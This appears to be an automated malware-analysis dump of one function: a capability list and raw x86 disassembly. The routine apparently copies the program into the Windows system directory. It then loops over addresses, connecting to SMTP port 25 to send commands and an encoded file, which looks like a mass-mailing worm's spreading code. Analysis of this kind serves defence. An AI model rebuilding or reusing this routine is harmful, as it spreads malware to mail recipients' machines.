Function at 0x409878
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create tcp socket
Create udp socket
Get common file path
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x97
push 0
push 0
dec ecx
jne 0x409880
push ebx
push esi
push edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.00404498
mov eax, dword [ebp - 0xc]
call fcn.00404498
lea eax, [ebp - 0x4c]
mov edx, dword [0x408c24]
call fcn.00404728
xor eax, eax
push ebp
push 0x409ef4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00402878
mov eax, 0x8c
call fcn.00402f3c
mov ebx, eax
mov eax, dword [0x410fb4]
mov edx, dword [eax + ebx*4]
lea eax, [ebp - 0x38]
mov ecx, 0x409f10
call fcn.004042f4
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x4150d4]
mov eax, dword [ebp - 8]
call fcn.004045ec
test eax, eax
jg 0x409eae
push dword [0x4150d4]
push 0x409f20
push dword [ebp - 8]
mov eax, 0x4150d4
mov edx, 3
call fcn.00404368
call fcn.00402878
mov eax, 9
call fcn.00402f3c
mov ebx, eax
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x409f2c
call fcn.004045ec
inc eax
push eax
mov eax, dword [ebp - 8]
call fcn.004042a8
mov ecx, eax
mov eax, dword [ebp - 8]
pop edx
call fcn.00404508
lea eax, [ebp - 0x4c]
lea edx, [ebx + ebx*4]
lea edx, [edx*4 + 0x410c18]
mov ecx, dword [0x408c24]
call fcn.0040493c
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x48]
call fcn.00404094
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 0x40]
call fcn.00404094
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 0x3c]
call fcn.00404094
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x4c]
call fcn.00404094
push pe_nt_image_headers32
lea eax, [ebp - 0x478]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 0x47c]
lea edx, [ebp - 0x478]
mov ecx, pe_nt_image_headers32
call fcn.0040426c
push dword [ebp - 0x47c]
push 0x409f38
push dword [ebp - 0x18]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00404368
push 0
mov eax, dword [ebp - 0x18]
call fcn.004044a8
push eax
lea edx, [ebp - 0x480]
xor eax, eax
call fcn.00402814
mov eax, dword [ebp - 0x480]
call fcn.004044a8
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, dword [ebp - 0x18]
call fcn.004094f0
test al, al
je 0x409a40
lea eax, [ebp - 0x484]
push eax
mov eax, dword [ebp - 0x18]
call fcn.004042a8
mov ecx, eax
sub ecx, 4
mov edx, 1
mov eax, dword [ebp - 0x18]
call fcn.00404508
mov edx, dword [ebp - 0x484]
lea eax, [ebp - 0x18]
mov ecx, 0x409f10
call fcn.004042f4
mov eax, dword [ebp - 0x20]
mov edx, 0x409f44
call fcn.004043f4
jne 0x409a59
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.004096a4
mov eax, dword [ebp - 0x24]
mov edx, 0x409f44
call fcn.004043f4
jne 0x409a72
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.00409670
mov eax, dword [ebp - 0x24]
mov edx, 0x409f54
call fcn.004043f4
jne 0x409a8c
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 8]
call fcn.00404094
mov eax, dword [ebp - 0x24]
mov edx, 0x409f64
call fcn.004043f4
jne 0x409aab
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409f80
call fcn.004042f4
cmp dword [ebp - 0xc], 0
je 0x409ad1
mov ecx, 0x409f94
mov dl, 1
mov eax, dword [0x40836c]
call fcn.00408b28
mov edi, eax
mov eax, dword [edi + 0xc]
mov edx, dword [ebp - 0xc]
call fcn.004082a8
jmp 0x409ae2
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x40836c]
call fcn.00408b28
mov edi, eax
mov eax, dword [edi + 0xc]
mov eax, dword [eax + 8]
test eax, eax
je 0x409eae
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x409eae
inc ebx
xor esi, esi
lea eax, [ebp - 0x1dc]
push eax
mov dl, 1
mov al, 2
call fcn.004055ec
push eax
call sub.wsock32.dll_WSAStartup
push 0x40
lea eax, [ebp - 0x22c]
push eax
call sub.wsock32.dll_gethostname
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
mov word [ebp - 0x1ec], 2
push 0x19
call sub.wsock32.dll_htons
mov word [ebp - 0x1ea], ax
lea ecx, [ebp - 0x48c]
mov eax, dword [edi + 0xc]
mov edx, esi
call fcn.00408318
mov eax, dword [ebp - 0x48c]
lea edx, [ebp - 0x488]
call fcn.00406378
mov eax, dword [ebp - 0x488]
call fcn.004044a8
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1e8], eax
push 0x10
lea eax, [ebp - 0x1ec]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_connect
inc eax
jle 0x409ea6
push 0x409fa8
mov eax, 0x1869f
call fcn.00402f3c
lea edx, [ebp - 0x490]
call fcn.00406564
push dword [ebp - 0x490]
push 0x409fb4
mov eax, 0x5f5e0ff
call fcn.00402f3c
lea edx, [ebp - 0x494]
call fcn.00406564
push dword [ebp - 0x494]
push 0x409fc0
lea eax, [ebp - 0x2c]
mov edx, 5
call fcn.00404368
push ebp
mov eax, 0x409fcc
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
push 0x409fd8
lea eax, [ebp - 0x49c]
lea edx, [ebp - 0x22c]
mov ecx, 0x40
call fcn.0040426c
push dword [ebp - 0x49c]
push 0x409fe8
lea eax, [ebp - 0x498]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x498]
mov edx, dword [ebp - 4]
call fcn.00409738
push ebp
mov eax, 0x409ff4
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
push 0x40a000
push dword [ebp - 0x24]
push 0x40a018
lea eax, [ebp - 0x4a0]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x4a0]
mov edx, dword [ebp - 4]
call fcn.00409738
push ebp
mov eax, 0x409ff4
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
push 0x40a024
push dword [ebp - 8]
push 0x40a018
lea eax, [ebp - 0x4a4]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x4a4]
mov edx, dword [ebp - 4]
call fcn.00409738
push ebp
mov eax, 0x409ff4
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
mov edx, dword [ebp - 4]
mov eax, 0x40a038
call fcn.00409738
push ebp
mov eax, 0x40a048
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
push 0x40a054
push dword [ebp - 0x20]
push 0x40a064
push dword [ebp - 0x24]
push 0x40a018
push 0x40a070
push dword [ebp - 0x28]
push 0x409fe8
push 0x40a084
push 0x40a0a0
push dword [ebp - 0x2c]
push 0x40a0d4
push 0x409fb4
push dword [ebp - 0x2c]
push 0x409fe8
push 0x40a0e4
push dword [ebp - 0x1c]
push 0x40a11c
push 0x409fb4
push dword [ebp - 0x2c]
push 0x409fe8
push 0x40a12c
push 0x40a164
lea edx, [ebp - 0x4ac]
mov eax, dword [ebp - 0x38]
call fcn.0040632c
push dword [ebp - 0x4ac]
push 0x40a174
push 0x40a180
lea eax, [ebp - 0x4a8]
mov edx, 0x1a
call fcn.00404368
mov eax, dword [ebp - 0x4a8]
mov edx, dword [ebp - 4]
call fcn.00409738
lea eax, [ebp - 0x4b4]
call fcn.004096e0
push dword [ebp - 0x4b4]
push 0x40a1b0
push dword [ebp - 0x38]
lea eax, [ebp - 0x4b0]
mov edx, 3
call fcn.00404368
mov edx, dword [ebp - 0x4b0]
lea eax, [ebp - 0x378]
call fcn.00402b74
mov eax, dword [0x410fcc]
mov byte [eax], 0
mov edx, 1
lea eax, [ebp - 0x378]
call fcn.00403230
call fcn.0040269c
test eax, eax
jne 0x409e4b
lea eax, [ebp - 0x378]
call fcn.00402ed0
mov edx, eax
lea eax, [ebp - 0x30]
call fcn.00404634
push 0
lea eax, [ebp - 0x378]
call fcn.00402ed0
push eax
lea eax, [ebp - 0x30]
call fcn.00404500
mov edx, eax
lea eax, [ebp - 0x378]
pop ecx
call fcn.00402ccc
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 0x30]
call fcn.00409360
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x34]
call fcn.00409738
lea eax, [ebp - 0x378]
call fcn.00402d0c
push 0x40a1c0
push dword [ebp - 0x2c]
push 0x40a1d0
lea eax, [ebp - 0x4b8]
mov edx, 3
call fcn.00404368
mov eax, dword [ebp - 0x4b8]
mov edx, dword [ebp - 4]
call fcn.00409738
push ebp
mov eax, 0x409ff4
call fcn.00409794
pop ecx
test eax, eax
je 0x409eae
mov edx, dword [ebp - 4]
mov eax, 0x40a1e0
call fcn.00409738
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [0x410fa4]
inc dword [eax]
call sub.wsock32.dll_WSACleanup
inc esi
dec ebx
jne 0x409afe
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409efb
lea eax, [ebp - 0x4b8]
mov edx, 0x10
call fcn.00404020
lea eax, [ebp - 0x4c]
mov edx, dword [0x408c24]
call fcn.004047ec
lea eax, [ebp - 0x38]
mov edx, 0xa
call fcn.00404020
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404020
ret